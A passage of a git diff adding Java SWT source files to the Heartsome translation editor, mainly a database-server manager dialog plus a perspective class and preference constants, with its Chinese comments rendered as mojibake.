setLastSelectedServer(null); + + if (currDbTypeServers.size() != 0) { + if (i > currDbTypeServers.size() - 1) { + setLastSelectedServer(currDbTypeServers.get(i - 1).getId()); + } else { + setLastSelectedServer(currDbTypeServers.get(i).getId()); + } + initUI(false); + } else { + setLastSelectedServer(null); + initUI(true); + } + selectSaveItem(); + + } + } + }); + Tree tree = treeViewer.getTree(); + this.treePopMenu = menuManager.createContextMenu(tree); + } + + /** + * @param control + * the Control to lay out. + */ + protected void layoutTreeAreaControl(Control control) { + GridData gd = new GridData(GridData.FILL_VERTICAL); + gd.widthHint = getLastRightWidth(); + gd.verticalSpan = 1; + control.setLayoutData(gd); + } + + /** + * Create a new TreeViewer. + * @param parent + * the parent Composite. + * @return the TreeViewer. + */ + protected TreeViewer createTreeViewer(Composite parent) { + final TreeViewer viewer = new TreeViewer(parent, SWT.BORDER); + addListeners(viewer); + viewer.setLabelProvider(new TreeLableProvider()); + viewer.setContentProvider(new TreeContentProvider()); + return viewer; + } + + /** + * Add Selection Listener to tree viewer + * @param viewer + * ; + */ + private void addListeners(final TreeViewer viewer) { + // 选择事件 + viewer.addPostSelectionChangedListener(new ISelectionChangedListener() { + public void selectionChanged(SelectionChangedEvent event) { + ISelection selection = event.getSelection(); + if (selection.isEmpty()) { + return; + } + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + Object obj = structuredSelection.getFirstElement(); + if (obj instanceof DatabaseModelBean) { + DatabaseModelBean bean = (DatabaseModelBean) obj; + setCurrDbType(bean.getDbType()); + bean.copyToOtherIntance(currServer); + SystemDBOperator dbop = getCurrSysDbOp(); + if (dbop != null) { + executeSearch(dbop); + } + initUI(false); // 当数æ®åº“类型å‘生改å˜æ—¶é‡æ–°åˆå§‹åŒ–ç•Œé¢ + + } else if (obj instanceof String) { + setCurrDbType((String) obj); + resetInputValue(); + currServerdbListInput.clear(); + initUI(true); + } + } + }); + // åŒå‡»å±•å¼€äº‹ä»¶ + ((Tree) viewer.getControl()).addSelectionListener(new SelectionAdapter() { + public void widgetDefaultSelected(final SelectionEvent event) { + ISelection selection = viewer.getSelection(); + if (selection.isEmpty()) { + return; + } + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + Object obj = structuredSelection.getFirstElement(); + if (obj instanceof String) { + String type = (String) obj; + boolean expanded = viewer.getExpandedState(type); + viewer.setExpandedState(type, !expanded); + } + } + }); + + // å³é”®èœå•äº‹ä»¶,判断何时出现å³é”®èœå• + viewer.getControl().addMenuDetectListener(new MenuDetectListener() { + public void menuDetected(MenuDetectEvent e) { + ISelection selection = viewer.getSelection(); + if (selection.isEmpty()) { + return; + } + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + Object obj = structuredSelection.getFirstElement(); + Tree tree = treeViewer.getTree(); + if (obj instanceof DatabaseModelBean) { + tree.setMenu(treePopMenu); // å°†èœå•æŒ‚到树上 + } else { + tree.setMenu(null); + } + } + }); + } + + /** + * 获å–当å‰æœåŠ¡å™¨æ“作对象 + * @return ; + */ + private SystemDBOperator getCurrSysDbOp() { + return DatabaseService.getSysDbOperateByMetaData(currServer.toDbMetaData()); + } + + /** + * Update the tree to use the specified Font. + * @param dialogFont + * the Font to use. + */ + protected void updateTreeFont(Font dialogFont) { + getTreeViewer().getControl().setFont(dialogFont); + } + + /** + * @return the TreeViewer for this dialog. + */ + public TreeViewer getTreeViewer() { + return treeViewer; + } + + /** + * @return The TableViewer for database list in dialog ; + */ + public TableViewer getDbTableViewer() { + return this.dbTableViewer; + } + + /** + * @return the need update to file server configure + */ + public List getNeedUpdateToFile() { + return this.needUpdateToFile; + } + + /** + * Create the sash with right control on the right. Note that this method assumes GridData for the layout data of + * the rightControl. + * @param composite + * @param rightControl + * @return Sash + */ + protected Sash createSash(final Composite composite, final Control rightControl) { + final Sash sash = new Sash(composite, SWT.VERTICAL); + sash.setLayoutData(new GridData(GridData.FILL_VERTICAL)); + sash.setBackground(composite.getDisplay().getSystemColor(SWT.COLOR_LIST_BACKGROUND)); + // the following listener resizes the tree control based on sash deltas. + // If necessary, it will also grow/shrink the dialog. + sash.addListener(SWT.Selection, new Listener() { + /* + * (non-Javadoc) + * + * @see org.eclipse.swt.widgets.Listener#handleEvent(org.eclipse.swt. widgets.Event) + */ + public void handleEvent(Event event) { + if (event.detail == SWT.DRAG) { + return; + } + int shift = event.x - sash.getBounds().x; + GridData data = (GridData) rightControl.getLayoutData(); + int newWidthHint = data.widthHint + shift; + if (newWidthHint < 20) { + return; + } + Point computedSize = getShell().computeSize(SWT.DEFAULT, SWT.DEFAULT); + Point currentSize = getShell().getSize(); + // if the dialog wasn't of a custom size we know we can shrink + // it if necessary based on sash movement. + boolean customSize = !computedSize.equals(currentSize); + data.widthHint = newWidthHint; + setLastTreeWidth(newWidthHint); + composite.layout(true); + // recompute based on new widget size + computedSize = getShell().computeSize(SWT.DEFAULT, SWT.DEFAULT); + // if the dialog was of a custom size then increase it only if + // necessary. + if (customSize) { + computedSize.x = Math.max(computedSize.x, currentSize.x); + } + computedSize.y = Math.max(computedSize.y, currentSize.y); + if (computedSize.equals(currentSize)) { + return; + } + setShellSize(computedSize.x, computedSize.y); + lastShellSize = getShell().getSize(); + } + }); + return sash; + } + + /** + * Get the last known right side width. + * @return the width. + */ + protected int getLastRightWidth() { + return lastTreeWidth; + } + + /** + * Save the last known tree width. + * @param width + * the width. + */ + private void setLastTreeWidth(int width) { + lastTreeWidth = width; + } + + /** + * Return the initial size of the dialog. + */ + @Override + protected Point getInitialSize() { + return getShell().computeSize(SWT.DEFAULT, SWT.DEFAULT); + } + + /** + * Changes the shell size to the given size, ensuring that it is no larger than the display bounds. + * @param width + * the shell width + * @param height + * the shell height + */ + private void setShellSize(int width, int height) { + Rectangle preferred = getShell().getBounds(); + preferred.width = width; + preferred.height = height; + getShell().setBounds(getConstrainedShellBounds(preferred)); + } + + /** + * The TreeViewer label provider + * @author Jason + * @version + * @since JDK1.6 + */ + class TreeLableProvider extends LabelProvider { + /** + * @param element + * must be an instance of IPreferenceNode. + * @see org.eclipse.jface.viewers.ILabelProvider#getText(java.lang.Object) + */ + public String getText(Object element) { + if (element instanceof String) { + String dbType = (String) element; + if(dbType.equals(Constants.DBTYPE_MYSQL)){ + dbType = Constants.DBTYPE_MYSQL_FOR_UI; + } else if (dbType.equals(Constants.DBTYPE_MSSQL2005)){ + dbType = Constants.DBTYPE_MSSQL2005_FOR_UI; + } else if (dbType.equals(Constants.DBTYPE_SQLITE)) { + dbType = Messages.getString("dialog.db.recommend"); + } + return dbType; + } else { + DatabaseModelBean bean = (DatabaseModelBean) element; + StringBuffer urlStr = new StringBuffer(); + if (bean.getDbType().equals(Constants.DBTYPE_INTERNALDB) || bean.getDbType().equals(Constants.DBTYPE_SQLITE)) { + urlStr.append(bean.getItlDBLocation()); + } else { + urlStr.append(bean.getHost()); + urlStr.append(":"); + urlStr.append(bean.getPort()); + if (bean.getInstance() != null && !bean.getInstance().equals("")) { + urlStr.append("/"); + urlStr.append(bean.getInstance()); + } + } + return urlStr.toString(); + } + } + + /** + * @param element + * must be an instance of String or DatabaseModelBean. + * @see org.eclipse.jface.viewers.ILabelProvider#getImage(java.lang.Object) + */ + public Image getImage(Object element) { + if (element instanceof String) { + String dbtype = (String) element; + if (dbtype.equals(Constants.DBTYPE_INTERNALDB)) { + return internalDbImg; + } else if (dbtype.equals(Constants.DBTYPE_MYSQL)) { + return mySqlImg; + } else if (dbtype.equals(Constants.DBTYPE_MSSQL2005)) { + return sqlServerImg; + } else if (dbtype.equals(Constants.DBTYPE_POSTGRESQL)) { + return postgreImg; + } else if (dbtype.equals(Constants.DBTYPE_Oracle)) { + return oracleImg; + } else if (dbtype.equals(Constants.DBTYPE_SQLITE)) { + return sqliteImg; + } else { + return null; + } + } else if (element instanceof DatabaseModelBean) { + return ipImg; + } else { + return null; + } + } + } + + /** + * The TreeViewer content provider + * @author Jason + * @version + * @since JDK1.6 + */ + class TreeContentProvider implements ITreeContentProvider { + + private Map> map; + + public void dispose() { + + } + + @SuppressWarnings("unchecked") + public void inputChanged(Viewer viewer, Object oldInput, Object newInput) { + this.map = (Map>) newInput; + } + + public Object[] getElements(Object inputElement) { + List t = new ArrayList(map.keySet()); + int size = t.size(); + Object[] temp = new Object[size]; + if (t.contains(Constants.DBTYPE_INTERNALDB)) { + temp[size - 1] = Constants.DBTYPE_INTERNALDB; + } + if (t.contains(Constants.DBTYPE_MYSQL)) { + temp[size - 5] = Constants.DBTYPE_MYSQL; + } + if (t.contains(Constants.DBTYPE_MSSQL2005)) { + temp[size - 4] = Constants.DBTYPE_MSSQL2005; + } + if (t.contains(Constants.DBTYPE_POSTGRESQL)) { + temp[size - 2] = Constants.DBTYPE_POSTGRESQL; + } + if (t.contains(Constants.DBTYPE_Oracle)) { + temp[size - 3] = Constants.DBTYPE_Oracle; + } + if(t.contains(Constants.DBTYPE_SQLITE)){ + temp[0] = Constants.DBTYPE_SQLITE; + } + return temp; + } + + public Object[] getChildren(Object parentElement) { + if (parentElement instanceof String) { + String dbType = (String) parentElement; + List servers = map.get(dbType); + Collections.sort(servers, new Comparator() { + + public int compare(DatabaseModelBean o1, + DatabaseModelBean o2) { + return o1.getHost().compareTo(o2.getHost()); + } + }); + return servers.toArray(); + } + return null; + } + + public Object getParent(Object element) { + return null; + } + + public boolean hasChildren(Object element) { + if (element instanceof String) { + if (map.get(element).size() != 0) { + return true; + } + } + return false; + } + + } + + /** + * åˆå§‹åŒ–æ•°æ®ç»‘定 将界é¢ä¸ŽcurrServer进行绑定 + * @return ; + */ + protected void initDataBindings() { + DataBindingContext bindingContext = new DataBindingContext(); + + IObservableValue widgetValue = WidgetProperties.text(SWT.Modify).observe(instanceText); + final IObservableValue instanceModelValue = BeanProperties.value("instance").observe(currServer); + bindingContext.bindValue(widgetValue, instanceModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(hostText); + final IObservableValue hostModelValue = BeanProperties.value("host").observe(currServer); + bindingContext.bindValue(widgetValue, hostModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(portText); + final IObservableValue protModelValue = BeanProperties.value("port").observe(currServer); + bindingContext.bindValue(widgetValue, protModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(locationText); + final IObservableValue locationModelValue = BeanProperties.value("itlDBLocation").observe(currServer); + bindingContext.bindValue(widgetValue, locationModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(usernameText); + final IObservableValue usernameModelValue = BeanProperties.value("userName").observe(currServer); + bindingContext.bindValue(widgetValue, usernameModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(passwordText); + final IObservableValue passwordModelValue = BeanProperties.value("password").observe(currServer); + bindingContext.bindValue(widgetValue, passwordModelValue, null, null); + + ViewerSupport.bind(dbTableViewer, currServerdbListInput, + BeanProperties.values(new String[] { "index", "dbName", "langs" })); + + } + + /** + * 创建Table列 + * @param viewer + * ; + */ + private void createColumn(final TableViewer viewer) { + String[] clmnTitles = { Messages.getString("dialog.TmDbManagerDialog.clmnTitles1"), + Messages.getString("dialog.TmDbManagerDialog.clmnTitles2"), + Messages.getString("dialog.TmDbManagerDialog.clmnTitles3") }; + int[] clmnBounds = { 50, 100, 100 }; + + TableViewerColumn col = createTableViewerColumn(viewer, clmnTitles[0], clmnBounds[0], 0); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseManagerDbListBean bean = (DatabaseManagerDbListBean) element; + return bean.getIndex(); + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[1], clmnBounds[1], 1); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseManagerDbListBean bean = (DatabaseManagerDbListBean) element; + return bean.getDbName(); + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[2], clmnBounds[2], 2); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + DatabaseManagerDbListBean bean = (DatabaseManagerDbListBean) element; + return bean.getLangs(); + } + }); + + } + + /** + * 设置TableViewer 列属性 + * @param viewer + * @param title + * 列标题 + * @param bound + * 列宽 + * @param colNumber + * 列åºå· + * @return {@link TableViewerColumn}; + */ + private TableViewerColumn createTableViewerColumn(TableViewer viewer, String title, int bound, final int colNumber) { + final TableViewerColumn viewerColumn = new TableViewerColumn(viewer, SWT.NONE | SWT.Resize); + final TableColumn column = viewerColumn.getColumn(); + column.setText(title); + column.setWidth(bound); + column.setResizable(true); + column.setMoveable(true); + return viewerColumn; + + } + + /** + * 输入验è¯å™¨ ; + */ + private IStatus validator() { + String instance = currServer.getInstance(); + String host = currServer.getHost(); + String port = currServer.getPort(); + String location = currServer.getItlDBLocation(); + String username = currServer.getUserName(); + MetaData dbMetaData = dbMetaDataMap.get(currServer.getDbType()); + if (dbMetaData.dataPathSupported()) { + File f = new File(location); + if (location == null || location.trim().length() == 0) { + if (dbMetaData.getDbType().equals(Constants.DBTYPE_INTERNALDB)) { + return ValidationStatus.error(Messages.getString("dialog.TmDbManagerDialog.msg5")); + } else if (dbMetaData.getDbType().equals(Constants.DBTYPE_SQLITE)) { + return ValidationStatus.error(Messages.getString("dialog.TmDbManagerDialog.msg11")); + } + } else if (!f.exists()) { + return ValidationStatus.error(Messages.getString("dialog.TmDbManagerDialog.msg12")); + } + } + if (dbMetaData.serverNameSupported()) { + if (host == null || host.trim().length() == 0) { + return ValidationStatus.error(Messages.getString("dialog.TmDbManagerDialog.msg6")); + } + } + if (dbMetaData.portSupported()) { + if (port == null || port.trim().length() == 0) { + return ValidationStatus.error(Messages.getString("dialog.TmDbManagerDialog.msg7")); + } + } + if (dbMetaData.userNameSupported()) { + if (username == null || username.trim().length() == 0) { + return ValidationStatus.error(Messages.getString("dialog.TmDbManagerDialog.msg8")); + } + } + + if (dbMetaData.instanceSupported()) { + if (instance == null || instance.trim().length() == 0) { + return ValidationStatus.error(Messages.getString("dialog.TmDbManagerDialog.msg9")); + } + } + + return ValidationStatus.ok(); + } + + /** + * 检查当å‰é…置是å¦å‘ç”Ÿäº†æ”¹å˜ + * @param list + * @param b + * @param metaData + * @return ; + */ + private DatabaseModelBean configIsChanged(List list, DatabaseModelBean b, MetaData metaData) { + for (int i = 0; i < list.size(); i++) { + DatabaseModelBean a = list.get(i); + if (a.getId().equals(b.getId())) { + if (metaData.dataPathSupported()) { + if (!a.getItlDBLocation().equals(b.getItlDBLocation())) { + return a; + } + } else { + if (!a.getHost().equals(b.getHost()) || !a.getPort().equals(a.getPort())) { + return a; + } + if (metaData.instanceSupported()) { + if (!a.getInstance().equals(b.getInstance())) { + return a; + } + } + if (metaData.userNameSupported()) { + if (!a.getUserName().equals(b.getUserName()) || !a.getPassword().equals(b.getPassword())) { + return a; + } + } + } + return null; + } + } + return null; + } + + /** + * 将当å‰æ“作的æœåŠ¡å™¨é…置信æ¯æ·»åŠ åˆ°é…置文件中
    + * 在添加å‰,先判断该æœåŠ¡å™¨æ˜¯å¦å·²ç»å­˜åœ¨,如果已ç»å­˜åœ¨åˆ™æ›´æ–° + * @param currServer + * 需è¦å¤„ç†çš„é…ç½®ä¿¡æ¯ + * @param currDbTypeServers + * 当å‰æ•°æ®åº“类型下的所有æœåŠ¡å™¨,用于显示在界é¢ä¸Š; + */ + private void addServerWithExistCheck(DatabaseModelBean currServer, List currDbTypeServers) { + DatabaseModelBean bean = currServer.copyToOtherIntance(new DatabaseModelBean()); + String existSerId = configer.isServerExist(bean, getCurrDbMetaData()); + if (existSerId != null && !existSerId.equals("")) { // 当å‰æœåŠ¡å™¨é…置信æ¯å·²ç»å­˜åœ¨ + + if (!bean.getId().equals(existSerId)) { + configer.deleteServerById(bean.getId()); + for (DatabaseModelBean temp : currDbTypeServers) { + if (temp.getId().equals(bean.getId())) { + currDbTypeServers.remove(temp); + break; + } + } + } + bean.setId(existSerId); + currServer.setId(existSerId); + updateServer(bean, currDbTypeServers); + + return; + } + configer.addServerConfig(bean); + currDbTypeServers.add(bean); + setLastSelectedServer(bean.getId()); + } + + /** + * 更新当å‰æ“作的æœåŠ¡å™¨é…置信æ¯åˆ°é…置文件中 + * @param currServer + * 需è¦å¤„ç†çš„æœåŠ¡å™¨é…ç½®ä¿¡æ¯ + * @param currDbTypeServers + * 当å‰æ•°æ®åº“类型下的所有æœåŠ¡å™¨,用于显示在界é¢ä¸Š; + */ + private void updateServer(DatabaseModelBean currServer, List currDbTypeServers) { + MetaData metaDataWithCheck = dbMetaDataMap.get(currServer.getDbType()); + DatabaseModelBean hasChanged = configIsChanged(currDbTypeServers, currServer, metaDataWithCheck); + if (hasChanged != null) { + currServer.copyToOtherIntance(hasChanged); + configer.updateServerConfigById(hasChanged.getId(), hasChanged); + } + setLastSelectedServer(currServer.getId()); + } + + /** + * 设置最åŽé€‰ä¸­çš„æœåŠ¡å™¨ + * @param serverId + * ; + */ + private void setLastSelectedServer(String serverId) { + lastSelectedServerId = serverId; + } + + /** + * 获最åŽé€‰ä¸­çš„æœåŠ¡å™¨ + * @return ; + */ + private String getLastSelectedServer() { + return lastSelectedServerId; + } + + /** + * 获å–当å‰æ“作的数æ®åº“类型 + * @return ; + */ + private String getCurrDbType() { + return currDbType; + } + + /** + * 设置当å‰æ“作的数æ®åº“类型 + * @param dbType + * 当å‰æ“作的数æ®åº“类型 ; + */ + private void setCurrDbType(String dbType) { + currDbType = dbType; + } + + /** + * 获å–当å‰æ•°æ®åº“ç±»åž‹çš„å…ƒæ•°æ® + * @return ; + */ + protected MetaData getCurrDbMetaData() { + return dbMetaDataMap.get(getCurrDbType()); + } + + /** + * 当选择数æ®åº“类型节点时,é‡ç½®æ‰€æœ‰è¾“å…¥ ; + */ + private void resetInputValue() { + MetaData metaData = dbMetaDataMap.get(getCurrDbType()); + currServer.setId(""); + currServer.setDbType(metaData.getDbType()); + + currServer.setItlDBLocation(""); + if (metaData.dataPathSupported()) { + currServer.setItlDBLocation(metaData.getDataPath()); + } + currServer.setHost(""); + if (metaData.serverNameSupported()) { + currServer.setHost(metaData.getServerName()); + } + currServer.setInstance(""); + if (metaData.instanceSupported()) { + currServer.setInstance(metaData.getInstance()); + } + + currServer.setPort(""); + if (metaData.portSupported()) { + currServer.setPort(metaData.getPort()); + } + currServer.setUserName(""); + if (metaData.userNameSupported()) { + currServer.setUserName(metaData.getUserName()); + } + + currServer.setPassword(""); + if (metaData.passwordSupported()) { + currServer.setPassword(metaData.getPassword()); + } + } + + /** + * æ ¹æ®å½“å‰æ“作ä¸åŒçš„æ•°æ®åº“类型,åˆå§‹åŒ–ç•Œé¢ ; + */ + private void initUI(boolean isAdd) { + MetaData curDbMetaData = dbMetaDataMap.get(getCurrDbType()); + + if (!isAdd) { + Control[] childrens = locationText.getParent().getChildren(); + for (Control c : childrens) { + if (!(c instanceof Composite)) { + if (c instanceof Text || c instanceof Button) { + c.setEnabled(false); + } + } else { + Composite com = (Composite) c; + Control[] ch = com.getChildren(); + for (Control chl : ch) { + if (c instanceof Text || c instanceof Button) { + chl.setEnabled(false); + } + } + } + } + } else { + if (curDbMetaData.dataPathSupported()) { + locationText.setEnabled(true); + borwserBtn.setEnabled(true); + } else { + locationText.setEnabled(false); + borwserBtn.setEnabled(false); + } + + if (curDbMetaData.serverNameSupported()) { + hostText.setEnabled(true); + } else { + hostText.setEnabled(false); + } + + if (curDbMetaData.instanceSupported()) { + instanceText.setEnabled(true); + } else { + instanceText.setEnabled(false); + } + + if (curDbMetaData.portSupported()) { + portText.setEnabled(true); + } else { + portText.setEnabled(false); + } + + if (curDbMetaData.userNameSupported()) { + usernameText.setEnabled(true); + } else { + usernameText.setEnabled(false); + } + + if (curDbMetaData.passwordSupported()) { + passwordText.setEnabled(true); + } else { + passwordText.setEnabled(false); + } + } + } + + private List searchCurrServerDatabase(SystemDBOperator sysDbOp, + DatabaseModelBean currServer) { + List temp = new ArrayList(); + // 检查是å¦åˆ›å»ºäº†ç³»ç»Ÿåº“ + if (!sysDbOp.checkSysDb()) { + // MessageDialog.openInformation(getShell(), "æ示信æ¯", + // "当å‰æœåŠ¡å™¨ä¸Šæ²¡æœ‰åˆ›å»ºä»»ä½•åº“"); + setLastSelectedServer(null); + return null; + } + + // 检查是å¦åˆ›å»ºäº†åº“ + List dbNames = sysDbOp.getSysDbNames(Constants.DB_TYPE_TM); + if (dbNames.size() == 0) { + // MessageDialog.openInformation(getShell(), "æ示信æ¯", + // "当å‰æœåŠ¡å™¨ä¸Šæ²¡æœ‰åˆ›å»ºä»»ä½•åº“"); + setLastSelectedServer(null); + return null; + } + + // 获å–æ•°æ®åº“相关资料,å°è£…了库å称和语言 + MetaData metaData = currServer.toDbMetaData(); + DBOperator dbop = DatabaseService.getDBOperator(metaData); + for (int i = 0; i < dbNames.size(); i++) { + DatabaseManagerDbListBean bean = new DatabaseManagerDbListBean(); + String dbName = dbNames.get(i); + bean.setIndex(i + 1 + ""); + bean.setDbName(dbName); + metaData.setDatabaseName(dbName); + dbop.setMetaData(metaData); + String lang = ""; + try { + dbop.start(); + List langs = dbop.getLanguages(); + for (int j = 0; j < langs.size(); j++) { + lang += langs.get(j); + if (j != langs.size() - 1) { + lang += ","; + } + } + } catch (Exception e1) { + logger.error("", e1); + continue; + } finally{ + try { + if (dbop != null) { + dbop.end(); + } + } catch (SQLException e) { + logger.error("",e); + } + } + if (lang.equals("")) { + bean.setLangs(Messages.getString("dialog.TmDbManagerDialog.msg10")); + } else { + bean.setLangs(lang); + } + temp.add(bean); + } + return temp; + } + + /** + * 执行查询 + * @param sysDbOp + * ; + */ + private void executeSearch(final SystemDBOperator sysDbOp) { + BusyIndicator.showWhile(getShell().getDisplay(), new Runnable() { + public void run() { + // 连接检查 + if (!sysDbOp.checkDbConnection()) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.TmDbManagerDialog.msgTitle"), + Messages.getString("dialog.TmDbManagerDialog.msg1")); + setLastSelectedServer(null); + return; + } + + // 获å–æ•°æ®åº“ä¿¡æ¯,包括å称和语言 + List temp = searchCurrServerDatabase(sysDbOp, currServer); + + currServerdbListInput.clear(); + if (temp != null) { + currServerdbListInput.addAll(temp); + if (temp.size() > 0) { + getDbTableViewer().setSelection(new StructuredSelection(temp.get(0))); + } + setLastSelectedServer(currServer.getId()); + } + } + }); + } + + /** + * 创建新库 ; + */ + private void createNewDatabase() { + // æ•°æ®åº“连接å‚数输入åˆæ³•æ€§æ£€æŸ¥ + IStatus status = validator(); + if (status.getSeverity() != IStatus.OK) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.TmDbManagerDialog.msgTitle"), + status.getMessage()); + return; + } + SystemDBOperator sysDbOp = getCurrSysDbOp(); + + if (sysDbOp == null) { + return; + } + + // 连接检查 + if (!sysDbOp.checkDbConnection()) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.TmDbManagerDialog.msgTitle"), + Messages.getString("dialog.TmDbManagerDialog.msg1")); + return; + } + +// DatabaseNameInputDialog inputDbNameialog = new DatabaseNameInputDialog(getShell(), +// Messages.getString("dialog.TmDbManagerDialog.inputDbNameialogTitle"), +// Messages.getString("dialog.TmDbManagerDialog.inputDbNameialogMsg"), "", new IInputValidator() { +// public String isValid(String newText) { +// String vRs = DbValidator.valiateDbName(newText); +// return vRs; +// } +// }); +// inputDbNameialog.setSystemDbOp(sysDbOp); +// if (inputDbNameialog.open() == Window.OK) { +// executeSearch(sysDbOp); // åˆ·æ–°ç•Œé¢ +// } + } + + /** key-æ•°æ®åº“çš„æ•°æ®åº“å°è£…,value-库中的语言 */ + private Map hasSelected; + + /** + * 当使用该对è¯æ¡†ä½œä¸ºæ•°æ®åº“选择时 ; + */ + private void executeSelectDatabase() { + ISelection selection = getDbTableViewer().getSelection(); + if (selection.isEmpty()) { + return; + } + hasSelected = new HashMap(); + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + + Iterator it = structuredSelection.iterator(); + while (it.hasNext()) { + DatabaseManagerDbListBean dbBean = (DatabaseManagerDbListBean) it.next(); + DatabaseModelBean dbModelBean = new DatabaseModelBean(); + currServer.copyToOtherIntance(dbModelBean); + dbModelBean.setDbName(dbBean.getDbName()); + hasSelected.put(dbModelBean, dbBean.getLangs()); + } + } + + protected void okPressed() { + if (getDialogUseFor() == TYPE_DBSELECTED) { + executeSelectDatabase(); + } + if(getSelectDbName()!=null){ + currServer.setDbName(getSelectDbName()); + beanForOutUse = currServer; + }else{ + beanForOutUse=null; + } + super.okPressed(); + } + + public String getSelectDbName(){ + ISelection selection = getDbTableViewer().getSelection(); + if (selection.isEmpty()) { + return null; + } + hasSelected = new HashMap(); + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + + Iterator it = structuredSelection.iterator(); + while (it.hasNext()) { + DatabaseManagerDbListBean dbBean = (DatabaseManagerDbListBean) it.next(); + return dbBean.getDbName(); + } + return null; + } + + public DatabaseModelBean getDB(){ + return beanForOutUse; + } + @Override + public boolean close() { + if(internalDbImg != null && !internalDbImg.isDisposed()){ + internalDbImg.dispose(); + } + if(mySqlImg != null && !mySqlImg.isDisposed()){ + mySqlImg.dispose(); + } + if(oracleImg != null && !oracleImg.isDisposed()){ + oracleImg.dispose(); + } + if(sqlServerImg!= null && !sqlServerImg.isDisposed()){ + sqlServerImg.dispose(); + } + if(postgreImg != null && !postgreImg.isDisposed()){ + postgreImg.dispose(); + } + if(ipImg != null && !ipImg.isDisposed()){ + ipImg.dispose(); + } + if(sqliteImg != null && !sqliteImg.isDisposed()){ + sqliteImg.dispose(); + } + return super.close(); + } + + /** + * 获å–当å‰é€‰æ‹©çš„库 + * @return ; + */ + public Map getHasSelectedDatabase() { + if (hasSelected != null) { + return hasSelected; + } else { + return new HashMap(); + } + } + + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/perspective/TEPerspective.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/perspective/TEPerspective.java new file mode 100644 index 0000000..f96e2a3 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/perspective/TEPerspective.java @@ -0,0 +1,38 @@ +/** + * PerspectiveFactory1.java + * + * Version information : + * + * Date:2013-5-17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.ui.perspective; + +import org.eclipse.ui.IPageLayout; +import org.eclipse.ui.IPerspectiveFactory; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TEPerspective implements IPerspectiveFactory { + public final static String ID = "net.heartsome.cat.te.perspective"; + + /** + * (non-Javadoc) + * @see org.eclipse.ui.IPerspectiveFactory#createInitialLayout(org.eclipse.ui.IPageLayout) + */ + @Override + public void createInitialLayout(IPageLayout layout) { + layout.setEditorAreaVisible(false); +// layout.setFixed(true); +// layout.addView("net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer", IPageLayout.LEFT, 0.2f, IPageLayout.ID_EDITOR_AREA); +// layout.addView("net.heartsome.cat.te.tmxeditor.editor.TmxPropertiesViewer", IPageLayout.RIGHT, 0.8f, "net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer"); + } + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/IPreferenceConstants.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/IPreferenceConstants.java new file mode 100644 index 0000000..d39ba97 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/IPreferenceConstants.java @@ -0,0 +1,76 @@ +package net.heartsome.cat.te.ui.preferencepage; + +/** + * TE 应用中定义的首选项常é‡. + * @author yule + */ +public interface IPreferenceConstants { + + /** + * 自动更新策略 + */ + String SYSTEM_AUTO_UPDATE = "net.heartsome.cat.ts.ui.preferencepage.autoupdate"; + + /** + * å¯åŠ¨æ—¶æ£€æŸ¥æ›´æ–° + */ + int SYSTEM_CHECK_UPDATE_WITH_STARTUP = 0; + + /** + * æ¯æœˆæ£€æŸ¥æ›´æ–° + */ + int SYSTEM_CHECK_UPDATE_WITH_MONTHLY = 1; + + /** + * æ¯æœˆæ£€æŸ¥æ›´æ–°æ—¶æ‰€é€‰çš„日期 + */ + String SYSTEM_CHECK_UPDATE_WITH_MONTHLY_DATE = "net.heartsome.cat.ts.ui.preferencepage.systemCheckUpdateWithMonthlyDate"; + + /** + * æ¯å‘¨æ£€æŸ¥æ›´æ–° + */ + int SYSTEM_CHECK_UPDATE_WITH_WEEKLY = 2; + + /** + * æ¯å‘¨æ£€æŸ¥æ›´æ–°æ—¶æ‰€é€‰çš„日期 + */ + String SYSTEM_CHECK_UPDATE_WITH_WEEKLY_DATE = "net.heartsome.cat.ts.ui.preferencepage.systemCheckUpdateWithWeeklyDate"; + + + /** + * 从ä¸æ£€æŸ¥æ›´æ–° + */ + int SYSTEM_CHECK_UPDATE_WITH_NEVER = 4; + + /** + * 